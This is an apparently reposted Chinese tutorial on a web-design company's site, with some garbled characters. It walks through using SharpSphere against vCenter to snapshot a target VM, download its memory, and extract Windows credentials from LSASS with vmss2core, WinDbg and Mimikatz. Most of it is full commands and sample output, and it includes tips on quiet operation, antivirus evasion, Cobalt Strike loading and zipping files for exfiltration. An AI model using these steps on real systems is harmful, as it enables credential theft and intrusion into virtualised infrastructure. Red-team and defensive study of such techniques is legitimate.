這篇文章主要介紹“如何理解SharpSphere dump LSASS內(nèi)存”,在日常操作中,相信很多人在如何理解SharpSphere dump LSASS內(nèi)存問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”如何理解SharpSphere dump LSASS內(nèi)存”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!
創(chuàng)新互聯(lián)公司專業(yè)為企業(yè)提供鄂托克前網(wǎng)站建設(shè)、鄂托克前做網(wǎng)站、鄂托克前網(wǎng)站設(shè)計、鄂托克前網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計與制作、鄂托克前企業(yè)網(wǎng)站模板建站服務(wù),10余年鄂托克前做網(wǎng)站經(jīng)驗,不只是建網(wǎng)站,更提供有價值的思路和整體網(wǎng)絡(luò)服務(wù)。
但是到現(xiàn)在為止,在實際操作上很難發(fā)揮作用,主要原因是:
1.需要驗證vCenter/ESXi
2.為目標(biāo)VM創(chuàng)建帶有內(nèi)存的的快照
3.需要將數(shù)據(jù)下載到本地,(通常非常大)
.vmem
和.vmsn
文件4.通過Volatility來運行
5.使用vmss2core轉(zhuǎn)換為
.dmp
并通過Mimikatz 和 WinDbg運行
Z:\>SharpSphere.exe dump --help SharpSphere 1.0.0.0 Copyright ? 2020 --url Required. vCenter SDK URL, i.e. https://127.0.0.1/sdk --username Required. vCenter username, i.e. administrator@vsphere.local --password Required. vCenter password --targetvm Required. VM to snapshot --snapshot (Default: false) WARNING: Creates and then deletes a snapshot. If unset, SharpSphere will only extract memory from last existing snapshot, or none if no snapshots are available. --destination Required. Full path to the local directory where the file should be downloaded --help Display this help screen. --version Display version information.
默認(rèn)情況下,SharpSphere不會試圖創(chuàng)建一個快照,而會試圖從現(xiàn)有的快照找到有效.vmem
和.vmsn
文件。從OpSec的角度來看,這是可取的,因為UI中沒有證據(jù),但是不能保證目標(biāo)上有快照,而且這些快照有沒有捕獲了VM的內(nèi)存也是問題。所以如果現(xiàn)有快照不存在,SharpSphere將退出。
所以--snapshot
參數(shù)規(guī)定,SharpSphere會創(chuàng)建一個名為System Backup [TIMESTAMP]
的快照,下載相關(guān)聯(lián)的“.vmem
和.vmsn
文件,然后刪除快照一旦完成。Recent Tasks
窗口中的其他用戶將同時看到快照的創(chuàng)建和刪除。
當(dāng)然--snapshot
可以先查看是否存在現(xiàn)有快照
SharpSphere需要從快照下載兩個文件,一個大小等于分配給該機器的RAM的(即4GB,8GB,16GB等)的.vmem
文件,以及一個小得多的.vmsn
文件。它將這些文件下載到--destination
指定的目錄中。但下載完這兩個文件,SharpSphere會將它們都添加到具有隨機名稱的zip文件中,然后將其刪除。
1.使用以下參數(shù)執(zhí)行SharpSphere(提示:使用獲取虛擬機名稱list):
SharpSphere.exe dump --url https://[IP or FQDN]/sdk --username [USERNAME] --password [PASSWORD] --targetvm [NAME OF VM] --destination [LOCATION TO DOWNLOAD FILES]
示例輸出
C:\Users\Administrator\Desktop>SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public" [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates [x] Creating vSphere API interface, takes a few minutes... [x] Connected to VMware vCenter Server 7.0.1 build-17005016 [x] Successfully authenticated [x] Finding existing snapshots for Windows 10... Error: No existing snapshots found for the VM Windows 10, recommend you try again with --snapshot set
2.如果不存在快照,添加一個參數(shù)--snapshot
SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public" --snapshot [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates [x] Creating vSphere API interface, takes a few minutes... [x] Connected to VMware vCenter Server 7.0.1 build-17005016 [x] Successfully authenticated [x] Creating snapshot for VM Windows 10... [x] Snapshot created successfully [x] Downloading Windows 10-Snapshot51.vmem (4096MB) to C:\Users\Public\z53dqmxx.5bz... [x] Downloading Windows 10-Snapshot51.vmsn to C:\Users\Public\hwu5gv2d.ezv... [x] Download complete, zipping up so it's easier to exfiltrate... [x] Zipping complete, download C:\Users\Public\cec0kwgk.b2m (916MB), rename to .zip, and follow instructions to use with Mimikatz [x] Deleting the snapshot we created
3.如果你使用cs之類的工具,可以直接在目標(biāo)機器上加載遠(yuǎn)程加載程序?;蛘?,將工具上傳到目標(biāo)機上,但要做好免殺處理。
4.在這種情況下cec0kwgk.b2m
,將隨機重命名為zip文件,然后解壓縮這兩個文件。較大的是您的.vmem
文件。
5.下載vmss2core并先提供較小的.vmsn
文件,然后再提供較大的.vmem
文件。如果目標(biāo)VM是Microsoft Windows 8 / 8.1,Windows Server 2012,Windows Server 2016或Windows Server 2019,則執(zhí)行以下命令-W8
:
vmss2core-sb-8456865.exe -W8 hwu5gv2d.ezv z53dqmxx.5bz
否則使用-W
:
vmss2core-sb-8456865.exe -W hwu5gv2d.ezv z53dqmxx.5bz
6.下載WinDbg并加載.dmp
文件。vmss2core Crash Dump
7.下載Mimikatz并使用WinDbg加載Mimilib.dll
.load C:\Tools\Mimikatz\x64\mimilib.dll
8.查找LSASS 進程
!process 0 0 lsass.exe
9.切換進程
.process /r /p ffffc70462d020c0
10.獲取憑證
!mimikatz?
到此,關(guān)于“如何理解SharpSphere dump LSASS內(nèi)存”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>
新聞標(biāo)題:如何理解SharpSpheredumpLSASS內(nèi)存
轉(zhuǎn)載來源:http://chinadenli.net/article14/gidhde.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供定制開發(fā)、品牌網(wǎng)站制作、自適應(yīng)網(wǎng)站、網(wǎng)站設(shè)計公司、電子商務(wù)、商城網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)